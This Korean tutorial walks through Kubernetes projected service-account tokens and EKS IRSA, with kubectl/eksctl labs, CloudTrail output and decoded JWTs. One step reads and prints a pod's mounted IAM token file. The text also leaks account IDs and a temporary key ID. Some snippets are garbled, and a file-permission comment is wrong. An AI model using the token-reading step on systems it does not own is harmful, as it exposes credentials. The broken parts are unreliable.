IRSA를 사용하면 AWS 환경에서 Kubernetes 애플리케이션을 더 안전하게 관리할 수 있습니다. 각 파드에 필요한 최소한의 권한만을 부여하여, 보안을 강화하고 효율적인 리소스 접근 관리를 실현할 수 있습니다. 이는 클라우드 환경에서 실행되는 모던 애플리케이션의 보안과 관리를 위한 중요한 단계입니다.

Bound Service Account Token Volume

Kubernetes 1.21 버전부터 도입된 Bound Service Account Token Volume은 Kubernetes 보안을 강화하는 중요한 기능입니다. 이 기능의 핵심은 서비스 어카운트 토큰의 사용 범위와 수명을 더욱 엄격하게 제어하는 것입니다.

기존 서비스 어카운트 토큰의 문제

이전까지 Kubernetes에서 사용된 서비스 어카운트 토큰은 만료되지 않았습니다. 이는 토큰이 유출될 경우, 악의적인 사용자가 오랜 시간 동안 이를 이용할 수 있다는 보안상의 큰 위험을 의미했습니다. 또한, 토큰은 파드나 서비스 어카운트와의 연결이 없어, 파드의 수명 주기와 독립적으로 존재했습니다.

중요한정보

spec.volumes.projected.expirationSeconds: 200

spec.volumes.projected.audience: vault

apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  containers:
  - image: nginx
    name: nginx
    volumeMounts:
    - mountPath: /var/run/secrets/tokens
      name: vault-token
  serviceAccountName: build-robot
  volumes:
  - name: vault-token
    projected:
      sources:
      - serviceAccountToken:
          path: vault-token
          expirationSeconds: 200
          audience: vault

Bound Service Account Token Volume의 도입

Bound Service Account Token Volume 기능은 이러한 문제를 해결하기 위해 서비스 어카운트 토큰을 파드의 수명 주기와 연결합니다. 이제 생성된 토큰은 파드에 "바인딩"되어 파드가 삭제되면 함께 만료됩니다. 이를 통해 토큰의 노출 위험이 크게 줄어들며, 보안이 강화됩니다.

토큰의 프로젝션

새로운 방식에서는 서비스 어카운트 토큰이 프로젝티드 볼륨에 저장됩니다. 이 볼륨은 파드의 파일 시스템에 특정 정보들을 제공하는 역할을 합니다. 위 파일에서 보듯, expirationSeconds와 audience를 설정하여 토큰의 유효 기간과 사용 대상을 명시할 수 있습니다. 이는 토큰의 사용 범위를 더욱 세밀하게 제어할 수 있게 해줍니다.

프로젝티드 볼륨의 구성

- name: kube-api-access-<random-suffix>
  projected:
    defaultMode: 420 # 420은 rw- 로 소유자는 읽고쓰기 권한과 그룹내 사용자는 읽기만, 보통 644는 소유자는 읽고쓰고실행 권한과 나머지는 읽고쓰기 권한
    sources:
      - serviceAccountToken: #기본적으로 1시간 뒤 또는 파드 삭제시 만료
          expirationSeconds: 3607
          path: token
      - configMap: # kube-apiserver에 대한 연결 확인용도
          items:
            - key: ca.crt
              path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI: # Pod의 네임스페이스 참조
          items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace

프로젝티드 볼륨은 여러 소스의 정보를 결합하여 제공할 수 있습니다. 위의 예시에서는 서비스 어카운트 토큰 외에도, configMap과 downwardAPI를 통해 kube-apiserver의 CA 인증서와 파드가 속한 네임스페이스 정보를 제공합니다. 이러한 정보들은 파드가 Kubernetes 클러스터 내에서 안전하게 커뮤니케이션을 수행하는 데 필요한 데이터입니다.

정리하자면

Bound Service Account Token Volume은 Kubernetes에서 애플리케이션의 보안을 강화하는 데 중요한 역할을 합니다. 이 기능을 통해 개발자와 운영자는 서비스 어카운트 토큰의 사용을 더욱 안전하게 관리할 수 있으며, Kubernetes 클러스터의 보안을 한층 더 강화할 수 있습니다. 이는 최소 권한 원칙을 준수하면서 필요한 리소스에만 접근을 허용하는 보안 요구사항을 충족시켜줍니다.

실습 - Configure a Pod to Use a Projected Volume for Storage

프로젝티드 볼륨을 하나의 디렉터리에 통합하는 개념이며, 볼륨에 projected 옵션이 붙어있습니다.

# Create the Secrets:
## Create files containing the username and password:
echo -n "admin" > ./username.txt
echo -n "1f2d1e2e67df" > ./password.txt

## Package these files into secrets:
kubectl create secret generic user --from-file=./username.txt
kubectl create secret generic pass --from-file=./password.txt

# 파드 생성
kubectl apply -f <https://k8s.io/examples/pods/storage/projected.yaml>

# 파드 확인
kubectl get pod test-projected-volume -o yaml | kubectl neat | yh
...
volumes:
  - name: all-in-one
    projected:
      defaultMode: 420
      sources:
      - secret:
          name: user
      - secret:
          name: pass
  - name: kube-api-access-n6n9v
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace

# 시크릿 확인
kubectl exec -it test-projected-volume -- ls /projected-volume/
password.txt  username.txt

kubectl exec -it test-projected-volume -- cat /projected-volume/username.txt ;echo
admin

kubectl exec -it test-projected-volume -- cat /projected-volume/password.txt ;echo
1f2d1e2e67df

# 삭제
kubectl delete pod test-projected-volume && kubectl delete secret user pass

  1. 시크릿 생성: kubectl create secret 명령을 사용하여 사용자 이름과 비밀번호를 각각의 시크릿으로 생성합니다. 이 시크릿은 파일로부터 값을 가져옵니다. 여기서 ./username.txt와 ./password.txt 파일에 각각 admin과 1f2d1e2e67df를 저장했습니다.
  2. 시크릿을 포함한 파드 생성: kubectl apply 명령을 사용하여 projected.yaml 파일을 적용함으로써, 시크릿을 포함하는 파드를 생성합니다. 이 파드 정의에서 volumes 섹션에서 시크릿을 프로젝티드 볼륨으로 정의합니다.
  3. 파드 내부에서 시크릿 접근: 생성된 파드 내부에서 kubectl exec 명령을 사용하여 시크릿의 내용을 확인할 수 있습니다. /projected-volume 경로에 마운트된 시크릿을 통해, 사용자 이름과 비밀번호 파일에 접근할 수 있습니다.
serviceAccountName: default
    projected: 
      sources: 
      - secret: 
          name: user
      - secret: 
          name: pass
  - name: kube-api-access-84dk8
    projected: 
      sources: 
      - serviceAccountToken: 
          expirationSeconds: 3607
          path: token

위 파일에서 **projected**와 **serviceAccountName**은 파드가 Kubernetes 클러스터 내에서 안전하게 민감한 정보에 접근하고, 특정 서비스 어카운트의 권한을 사용하여 리소스와 상호 작용할 수 있게 해주는 중요한 설정입니다.

projected

projected 볼륨은 여러 데이터 소스를 하나의 볼륨으로 결합하여 파드에 제공하는 기능입니다. 이를 통해 시크릿(Secrets), 컨피그맵(ConfigMaps), 그리고 서비스 어카운트 토큰(Service Account Tokens) 등 다양한 데이터 소스를 단일 마운트 포인트에 모을 수 있습니다. projected 볼륨을 사용함으로써, 파드는 필요한 모든 설정과 인증 정보에 효율적으로 접근할 수 있습니다.

이 예시에서는 projected 볼륨이 사용자 이름과 비밀번호 시크릿을 /projected-volume 경로에 마운트합니다. 이를 통해 파드 내의 애플리케이션이 필요한 인증 정보에 접근할 수 있게 됩니다.

serviceAccountName

파드가 Kubernetes API와 상호 작용할 때 사용할 서비스 어카운트를 지정합니다. 서비스 어카운트는 파드가 Kubernetes 클러스터 내의 다른 리소스에 접근하고 조작할 권한을 제어하는데 사용됩니다. 서비스 어카운트를 사용하여 파드의 권한을 세밀하게 제어할 수 있으며, 필요한 최소한의 권한을 파드에 부여하는 원칙(최소 권한 원칙)을 적용할 수 있습니다.

이 예시에서 serviceAccountName은 default로 설정되어 있습니다. 이는 파드가 default 서비스 어카운트를 사용하여 Kubernetes API와 상호 작용한다는 것을 의미합니다. 파드에 특정 작업을 수행할 권한이 필요한 경우, 적절한 권한을 가진 서비스 어카운트를 생성하고 serviceAccountName을 통해 파드에 할당할 수 있습니다.

결론적으로, projected 볼륨은 파드에 필요한 다양한 데이터 소스를 통합적으로 제공하는 반면, serviceAccountName은 파드가 Kubernetes 클러스터 내에서 어떤 권한을 가지고 작업을 수행할 수 있는지를 결정합니다. 이 두 설정을 통해 파드의 데이터 접근성과 보안성을 동시에 관리할 수 있습니다.

K8s API 접근 단계

AuthN & AuthZ - MutatingWebhook - Object schema validation - ValidatingWebhook → etcd

공식 링크

이 이미지는 쿠버네티스(Kubernetes)의 API 요청 처리 과정을 개략적으로 나타낸 것입니다.

1. API 요청 핸들러 (API HTTP handler)

클라이언트(예: kubectl, 내부 서비스 등)로부터 오는 API 요청을 받아 처리합니다. 이는 모든 요청의 시작점입니다.

2. 인증 (Authentication)

API 서버는 들어온 요청이 유효한 사용자나 서비스로부터 온 것인지 확인합니다. 이 단계에서 유저의 아이덴티티(ID)가 검증됩니다. 여기서 실패하면 요청은 즉시 거부됩니다.

3. 인가 (Authorization)

요청이 인증을 통과한 후, 해당 사용자가 요청한 작업을 수행할 수 있는 권한이 있는지 확인합니다. 권한이 없으면 요청은 이 지점에서 거부됩니다.

4. 어드미션 컨트롤러 (Admission Controllers)

인증 및 인가를 성공적으로 통과한 요청은 다양한 규칙과 정책에 따라 처리됩니다. 여기에는 mutating admission과 validating admission의 두 가지 유형이 있습니다.

Mutating Admission Webhook

요청된 오브젝트를 수정할 수 있습니다. 예를 들어, 설정값을 자동으로 채우거나, 필요한 레이블을 추가하는 등의 변경을 수행합니다.

Validating Admission Webhook

요청된 오브젝트가 클러스터의 정책과 일치하는지 검증합니다. 규칙에 맞지 않는 요청은 이 단계에서 거부될 수 있습니다.

5. etcd로의 지속 (Persisted to etcd)

모든 검증이 통과되면, 최종적으로 요청된 오브젝트는 클러스터의 지속적인 스토리지인 etcd에 저장됩니다.

OIDC(OpenID Connect)와 OAuth 2.0

  • OAuth 2.0은 서비스에 대한 접근 권한을 부여하는 프로토콜입니다. 사용자의 자격증명을 다른 서비스에 위임할 때 사용됩니다.
  • OpenID Connect는 OAuth 2.0을 기반으로 하며 사용자 인증을 제공하는 프로토콜입니다. 사용자 인증 정보를 포함한 ID 토큰을 발급합니다.
  • ID Token에는 사용자의 신원을 확인할 수 있는 정보(iss, sub, email 등)가 포함되어 있습니다.
  • IdP(Identity Provider)는 OpenID 인증 서비스를 제공하는 신원 제공자(예: 구글, 카카오 등)입니다.
  • OIDC OpenID Connect = OpenID 인증 + OAuth2.0 인가, JSON 포맷을 이용한 RESful API 형식으로 인증 - 링크
    • iss: 토큰 발행자
    • sub: 사용자를 구분하기 위한 유니크한 구분자
    • email: 사용자의 이메일
    • iat: 토큰이 발행되는 시간을 Unix time으로 표기한 것
    • exp: 토큰이 만료되는 시간을 Unix time으로 표기한 것
    • aud: ID Token이 어떤 Client를 위해 발급된 것인지.

Workflow of IRSA

AWS의 IRSA(Identity and Access Management Roles for Service Accounts)를 사용하여 Kubernetes 팟(Pod)에서 AWS 리소스에 접근하는 과정을 단계별로 설명하고 있습니다. 다음은 이 과정을 단순화하여 설명한 것입니다:

  1. 파드 생성 및 서비스 어카운트 마운트: 사용자는 Kubernetes 클러스터에서 파드를 생성하며, 특정 IAM 역할이 연결된 서비스 어카운트(Service Account, SA)를 지정합니다. 파드가 생성될 때, Kubernetes API 서버는 해당 SA와 연관된 IAM 역할 정보가 포함된 JWT 토큰을 생성하고 파드에 자동으로 마운트합니다.
  2. AWS 자격증명 요청: 파드 내부에서 AWS SDK를 사용하여 AWS STS(Security Token Service)에 S3 버킷 리스트를 요청합니다. 이때 JWT 토큰과 IAM 역할 Amazon Resource Name(ARN)이 함께 전송됩니다.
  3. IAM OIDC Provider에 의한 토큰 검증: AWS IAM은 토큰을 검증하기 위해 IAM OIDC(OpenID Connect) Identity Provider와 통신합니다. 여기서 토큰의 서명을 확인하고, 토큰이 유효한지 검증합니다.
  4. STS 자격증명 발급: AWS IAM이 토큰 검증을 완료하고 이를 AWS STS에게 알리면, STS는 파드가 AWS 리소스에 접근할 수 있도록 임시 AWS 자격증명을 발급합니다.
  5. 임시 자격증명 수령 및 사용: 파드는 발급받은 임시 자격증명을 사용하여 AWS S3 버킷 리스트를 요청하고, 자원에 접근합니다.

이 과정을 통해, 파드는 AWS의 IAM 역할에 맞는 권한으로 AWS 리소스에 접근하게 되며, 리소스에 대한 접근은 AWS의 보안 기준에 따라 엄격하게 제어됩니다.

IRSA는 기존의 EC2 인스턴스 수준에서의 권한 부여 방식보다 더 세밀하고 안전하게 권한을 관리할 수 있는 장점을 제공합니다.

k8s파드 → AWS 서비스 사용 ⇒ AWS STS/IAM ↔ IAM OIDC Identity Provider(EKS IdP) 인증/인가

클러스터에 설치된 웹훅들의 정보

kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations

mutating webhook이 파드에 서비스 어카운트를 Injection 합니다. 링크

실습 (서비스 어카운트의 IAM ROLE)

ServiceAccountToken의 자동 발급 기능이 off인 상태입니다.

pod가 S3에 접근할 수 있는 권한이 없습니다.

# 파드1 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test1
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      args: ['s3', 'ls']
  restartPolicy: Never
  automountServiceAccountToken: false
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod

# 로그 확인
kubectl logs eks-iam-test1

# 파드1 삭제
kubectl delete pod eks-iam-test1

Access Denied 에러가 발생합니다.

{
    "eventVersion": "1.09",
    "userIdentity": {
        "type": "AssumedRole",
        "principalId": "AROARKMMZM2NRM6V75VWP:i-0bb95067d7999b941",
        "arn": "arn:aws:sts::091026450075:assumed-role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-FjmC1OJjEGUR/i-0bb95067d7999b941",
        "accountId": "091026450075",
        "accessKeyId": "ASIARKMMZM2NSTJHVH7O",
        "sessionContext": {
            "sessionIssuer": {
                "type": "Role",
                "principalId": "AROARKMMZM2NRM6V75VWP",
                "arn": "arn:aws:iam::091026450075:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-FjmC1OJjEGUR",
                "accountId": "091026450075",
                "userName": "eksctl-myeks-nodegroup-ng1-NodeInstanceRole-FjmC1OJjEGUR"
            },
            "attributes": {
                "creationDate": "2024-04-10T10:07:04Z",
                "mfaAuthenticated": "false"
            },
            "ec2RoleDelivery": "2.0"
        }
    },
    "eventTime": "2024-04-10T10:26:08Z",
    "eventSource": "s3.amazonaws.com",
    "eventName": "ListBuckets",
    "awsRegion": "ap-northeast-2",
    "sourceIPAddress": "13.125.209.249",
    "userAgent": "[aws-cli/2.15.36 Python/3.11.8 Linux/5.10.213-201.855.amzn2.x86_64 docker/x86_64.amzn.2 prompt/off command/s3.ls]",
    "errorCode": "AccessDenied",
    "errorMessage": "Access Denied",
    "requestParameters": {
        "Host": "s3.ap-northeast-2.amazonaws.com"
    },

CloudTrail 콘솔에서 확인해봐도 거부된 기록을 확인할 수 있습니다.

Kubernetes Service Accounts

ServiceAccountToken의 자동발급기능을 사용합니다.

SA를 생성하면 Kubernetes Secret에서 JWT Token을 자동으로 생성하게됩니다.

# 파드2 생성
cat <https://jwt.io/>
jwt decode $SA_TOKEN --json --iso8601
...

#헤더
{
  "alg": "RS256",
  "kid": "1a8fcaee12b3a8f191327b5e9b997487ae93baab"
}

# 페이로드 : OAuth2에서 쓰이는 aud, exp 속성 확인! > projectedServiceAccountToken 기능으로 토큰에 audience,exp 항목을 덧붙힘
## iss 속성 : EKS OpenID Connect Provider(EKS IdP) 주소 > 이 EKS IdP를 통해 쿠버네티스가 발급한 토큰이 유요한지 검증
{
  "aud": [
    "<https://kubernetes.default.svc>"  # 해당 주소는 k8s api의 ClusterIP 서비스 주소 도메인명, kubectl get svc kubernetes
  ],
  "exp": 1716619848,
  "iat": 1685083848,
  "iss": "<https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6>",
  "kubernetes.io": {
    "namespace": "default",
    "pod": {
      "name": "eks-iam-test2",
      "uid": "10dcccc8-a16c-4fc7-9663-13c9448e107a"
    },
    "serviceaccount": {
      "name": "default",
      "uid": "acb6c60d-0c5f-4583-b83b-1b629b0bdd87"
    },
    "warnafter": 1685087455
  },
  "nbf": 1685083848,
  "sub": "system:serviceaccount:default:default"
}

# 파드2 삭제
kubectl delete pod eks-iam-test2

이번에도 실패했지만 Jwt이 나와줍니다.

실습3 IRSA설정

This webhook is for mutating pods that will require AWS IAM access

aws-eks-pod-identity-webhook을 사용해 IRSA를 사용할 수 있게합니다.

# Create an iamserviceaccount - AWS IAM role bound to a Kubernetes service account
eksctl create iamserviceaccount \\
  --name my-sa \\
  --namespace default \\
  --cluster $CLUSTER_NAME \\
  --approve \\
  --attach-policy-arn $(aws iam list-policies --query 'Policies[?PolicyName==`AmazonS3ReadOnlyAccess`].Arn' --output text)

my-sa라는 이름의 ServiceAccount에 AmazonS3ReadOnlyAccess라는 폴리시를 부여하여 생성을 합니다.

AWS 콘솔에서 확인해보시면 해당 policy가 포함되어있는 Role이 생성되어있음을 확인할 수 있습니다.

그리고 신뢰관계를 확인해보면 Federateed에 EKS OIDC 공급자 URL이 들어가있음을 확인할 수 있습니다.

EKS에서 확인할 수 있는 OIDC공급자 URL과 일치하는것 확인할 수 있습니다.

# 확인 >> 웹 관리 콘솔에서 CloudFormation Stack >> IAM Role 확인
# aws-load-balancer-controller IRSA는 어떤 동작을 수행할 것 인지 생각해보자!
eksctl get iamserviceaccount --cluster $CLUSTER_NAME

# Inspecting the newly created Kubernetes Service Account, we can see the role we want it to assume in our pod.
kubectl get sa
kubectl describe sa my-sa
[root@myeks-bastion ~]# eksctl get iamserviceaccount --cluster $CLUSTER_NAME
NAMESPACE       NAME                            ROLE ARN
default         my-sa                           arn:aws:iam::09xxxxxxxxxx:role/eksctl-myeks-addon-iamserviceaccount-default--Role1-sBZNWJNFefu3
kube-system     aws-load-balancer-controller    arn:aws:iam::09xxxxxxxxxxx:role/eksctl-myeks-addon-iamserviceaccount-kube-sys-Role1-NkuFcwOrPStF
[root@myeks-bastion ~]# kubectl get sa
NAME      SECRETS   AGE
default   0         5h21m
my-sa     0         5m47s
[root@myeks-bastion ~]# kubectl describe sa my-sa
Name:                my-sa
Namespace:           default
Labels:              app.kubernetes.io/managed-by=eksctl
Annotations:         eks.amazonaws.com/role-arn: arn:aws:iam::091026450075:role/eksctl-myeks-addon-iamserviceaccount-default--Role1-sBZNWJNFefu3
Image pull secrets:  <none>
Mountable secrets:   <none>
Tokens:              <none>
Events:              <none>

Now let’s see what happens when we use this new Service Account within a Kubernetes Pod : 신규 파드 만들어보겠습니다.

# 파드3번 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test3
spec:
  serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 해당 SA를 파드가 사용 시 mutatingwebhook으로 Env,Volume 추가함
kubectl get mutatingwebhookconfigurations pod-identity-webhook -o yaml | kubectl neat | yh

# 파드 생성 yaml에 없던 내용이 추가됨!!!!!
# Pod Identity Webhook은 mutating webhook을 통해 아래 Env 내용과 1개의 볼륨을 추가함
kubectl get pod eks-iam-test3
kubectl get pod eks-iam-test3 -o yaml | kubectl neat | yh
[root@myeks-bastion ~]# cat <<EOF | kubectl apply -f -
> apiVersion: v1
> kind: Pod
> metadata:
>   name: eks-iam-test3
> spec:
>   serviceAccountName: my-sa
>   containers:
>     - name: my-aws-cli
>       image: amazon/aws-cli:latest
>       command: ['sleep', '36000']
>   restartPolicy: Never
>   terminationGracePeriodSeconds: 0
> EOF
pod/eks-iam-test3 created

[root@myeks-bastion ~]# kubectl get mutatingwebhookconfigurations pod-identity-webhook -o yaml | kubectl neat | yh

apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata: 
  name: pod-identity-webhook
webhooks: 
- admissionReviewVersions: 
  - v1beta1
  clientConfig: 
    caBundle: LS0tLS1CRUdJTiBDRVJURJQkR3QXdnZ0VLCkFvSUJBUURpVFdXWXpDbTByeG1LTXR5UWlUMS85SjNOVXFRdVJrQ1BPVmFIOEZNY3ljaWxDWEhwVFRid2NrTUYKNDJHZy92RGJxOGZPb05HRlRJSkJmbjBYTGhwRHNiOGc0N3l2NTFyUXF5Tk9hUlVkemNpNURHcVVuNGU0OVFpNgprWXlTVGRhRlQ1MGVtbk50NWZSbG1oVmQ3UTUrSnZOdWxTV0JoUFZLVlFnOHp5Sm1LVEVyMEZNTGFMTDg5aSs1CnN3UlhIWXdmU0p1S1NMRklRNkl2ZXRHKzVNS2JzMjJHWi82ZDdPb0ZYUXdyYlpzMFBFWmNnR1lwaElHVHVjVGMKN1NLZXRqcGhPbFhtNy9FRysvVDdxNGJtd250N0ovenAwU2srVk5rTW1BQ2ZKUWFKUUE4RVJjYW9zaTVQa3AxQQplM0pSbUg5ZnYxNzMrd2RTY0N0cWQ2a1hJZXdaQWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJTOTkxZjlLVnVyY1gxYmhxNmdISXdIWXdWM0hUQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRRFBqTEZVYldyaApWWStUbmtFRENUWGVXRURqMnMvSkE1N240VXpIam5kbVBVS1ZaaGYvMDE4SDk0WDN4WGY2aERFcVZBbTluVk8vClIzWEJyeVRmTk5uRWpMT2ZSVENMSS92T0xaQmVDU1h6OXVBSE55M1JHY0paSUxPbEhUcnBtcmwwWkFKMjdGN0MKNGV5eFNRa00zZWF2bnVtbnh5MTExYjBtMlUzUXB5anNSMi9JVitCNW5zVWRrU0N0OCtJbVdWbzF6NE5mNEtEagpUWkNEZk9sREZZeVoza281U2dOQnY3TUpIR2VlMVBNd2dOZlFhaEJOWVgwWWNWSjllMTNuTkIzcHZxenFjRGtrClU1YXArZG10aFVZRUVISlc3WnozTk01V2pWWkUrS3BLWTY1K1hZOU5DbmtMMk1sT0pieDVnMWl0c1VRZWh3d24KZ2pUeUUzb0pFU1lVCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    
root@myeks-bastion ~]# 
[root@myeks-bastion ~]# kubectl get pod eks-iam-test3
NAME            READY   STATUS    RESTARTS   AGE
eks-iam-test3   1/1     Running   0          12s
[root@myeks-bastion ~]# kubectl get pod eks-iam-test3 -o yaml | kubectl neat | yh
    name: my-aws-cli
    volumeMounts: 
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-kbfsz
      readOnly: true
    - mountPath: /var/run/secrets/eks.amazonaws.com/serviceaccount
      name: aws-iam-token
      readOnly: true

  volumes: 
  - name: aws-iam-token
    projected: 
      sources: 
      - serviceAccountToken: 
          audience: sts.amazonaws.com
          expirationSeconds: 86400
          path: token
  - name: kube-api-access-kbfsz
    projected: 
      sources: 
      - serviceAccountToken: 
          expirationSeconds: 3607
          path: token
      - configMap:
          items: 
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI: 
          items: 
          - fieldRef: 
              fieldPath: metadata.namespace
            path: namespace
kubectl describe pod eks-iam-test3

# 파드에서 aws cli 사용 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl exec -it eks-iam-test3 -- aws sts get-caller-identity --query Arn
"arn:aws:sts::911283464785:assumed-role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN/botocore-session-1685179271"

    Environment:
      AWS_STS_REGIONAL_ENDPOINTS:   regional
      AWS_DEFAULT_REGION:           ap-northeast-2
      AWS_REGION:                   ap-northeast-2
      AWS_ROLE_ARN:                 arn:aws:iam::091xxxxxxxxx:role/eksctl-myeks-addon-iamserviceaccount-default--Role1-sBZNWJNFefu3
      AWS_WEB_IDENTITY_TOKEN_FILE:  /var/run/secrets/eks.amazonaws.com/serviceaccount/token
    Mounts:
      /var/run/secrets/eks.amazonaws.com/serviceaccount from aws-iam-token (ro)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-kbfsz (ro)
Conditions:
  Type              Status
  Initialized       True 
  Ready             True 
  ContainersReady   True 
  PodScheduled      True 
Volumes:
  aws-iam-token:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  86400
  kube-api-access-kbfsz:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
 [root@myeks-bastion ~]# eksctl get iamserviceaccount --cluster $CLUSTER_NAME

NAMESPACE       NAME                            ROLE ARN
default         my-sa                           arn:aws:iam::091xxxxxxxxx:role/eksctl-myeks-addon-iamserviceaccount-default--Role1-sBZNWJNFefu3
kube-system     aws-load-balancer-controller    arn:aws:iam::091xxxxxxxxx:role/eksctl-myeks-addon-iamserviceaccount-kube-sys-Role1-NkuFcwOrPStF
 [root@myeks-bastion ~]# 
 [root@myeks-bastion ~]# kubectl exec -it eks-iam-test3 -- aws sts get-caller-identity --query Arn
"arn:aws:sts::091xxxxxxxxxxxx:assumed-role/eksctl-myeks-addon-iamserviceaccount-default--Role1-sBZNWJNFefu3/botocore-session-1712746644"
# 되는 것고 안되는 것은 왜그런가?
kubectl exec -it eks-iam-test3 -- aws s3 ls
kubectl exec -it eks-iam-test3 -- aws ec2 describe-instances --region ap-northeast-2
kubectl exec -it eks-iam-test3 -- aws ec2 describe-vpcs --region ap-northeast-2

S3관련 명령만 할 수 있고, 다른 명령은 실패했는데 해당 role이 s3를 read하는 권한만 가지고 있기 때문입니다 .

# 파드에 볼륨 마운트 2개 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].volumeMounts'
[
  {
    "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
    "name": "kube-api-access-sn467",
    "readOnly": true
  },
  {
    "mountPath": "/var/run/secrets/eks.amazonaws.com/serviceaccount",
    "name": "aws-iam-token",
    "readOnly": true
  }
]

# aws-iam-token 볼륨 정보 확인 : JWT 토큰이 담겨져있고, exp, aud 속성이 추가되어 있음
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.volumes[] | select(.name=="aws-iam-token")'
{
  "name": "aws-iam-token",
  "projected": {
    "defaultMode": 420,
    "sources": [
      {
        "serviceAccountToken": {
          "audience": "sts.amazonaws.com",
          "expirationSeconds": 86400,
          "path": "token"
        }
      }
    ]
  }
}

# api 리소스 확인
kubectl api-resources |grep hook
mutatingwebhookconfigurations                  admissionregistration.k8s.io/v1        false        MutatingWebhookConfiguration
validatingwebhookconfigurations                admissionregistration.k8s.io/v1        false        ValidatingWebhookConfiguration

#
kubectl explain mutatingwebhookconfigurations

#
kubectl get MutatingWebhookConfiguration
NAME                            WEBHOOKS   AGE
pod-identity-webhook            1          147m
vpc-resource-mutating-webhook   1          147m

# pod-identity-webhook 확인
kubectl describe MutatingWebhookConfiguration pod-identity-webhook 
kubectl get MutatingWebhookConfiguration pod-identity-webhook -o yaml | yh

# AWS_WEB_IDENTITY_TOKEN_FILE 확인
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN

# JWT 웹 확인 
{
  "aud": [
    "sts.amazonaws.com"
  ],
  "exp": 1685175662,
  "iat": 1685089262,
  "iss": "<https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6>",
  "kubernetes.io": {
    "namespace": "default",
    "pod": {
      "name": "eks-iam-test3",
      "uid": "73f66936-4d66-477a-b32b-853f7a1c22d9"
    },
    "serviceaccount": {
      "name": "my-sa",
      "uid": "3b31aa85-2718-45ed-8c1c-75ed012c1a68"
    }
  },
  "nbf": 1685089262,
  "sub": "system:serviceaccount:default:my-sa"
}

# env 변수 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].env'
[
  {
    "name": "AWS_STS_REGIONAL_ENDPOINTS",
    "value": "regional"
  },
  {
    "name": "AWS_DEFAULT_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_ROLE_ARN",
    "value": "arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1MJUYW59O6QGH"
  },
  {
    "name": "AWS_WEB_IDENTITY_TOKEN_FILE",
    "value": "/var/run/secrets/eks.amazonaws.com/serviceaccount/token"
  }
]

웹토큰도 https://jwt.io/ 에서 토큰값을 넣고 확인할 수 있습니다.

[root@myeks-bastion ~]# IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
[root@myeks-bastion ~]# echo $IAM_TOKEN
eyJhbGciOiJS...

#JWT 웹 확인 

{
  "aud": [
    "sts.amazonaws.com"
  ],
  "exp": 1712832640,
  "iat": 1712746240,
  "iss": "<https://oidc.eks.ap-northeast-2.amazonaws.com/id/495D84FCD87A33717270BD807FDCCA3E>",
  "kubernetes.io": {
    "namespace": "default",
    "pod": {
      "name": "eks-iam-test3",
      "uid": "37fa2c75-15fc-45aa-a3cb-96b280ccac29"
    },
    "serviceaccount": {
      "name": "my-sa",
      "uid": "bd6aa314-af8f-48d7-b010-3f1c9a0fc5cf"
    }
  },
  "nbf": 1712746240,
  "sub": "system:serviceaccount:default:my-sa"
}

[root@myeks-bastion ~]# kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].env'
[
  {
    "name": "AWS_STS_REGIONAL_ENDPOINTS",
    "value": "regional"
  },
  {
    "name": "AWS_DEFAULT_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_ROLE_ARN",
    "value": "arn:aws:iam::091xxxxxxxxxxx:role/eksctl-myeks-addon-iamserviceaccount-default--Role1-sBZNWJNFefu3"
  },
  {
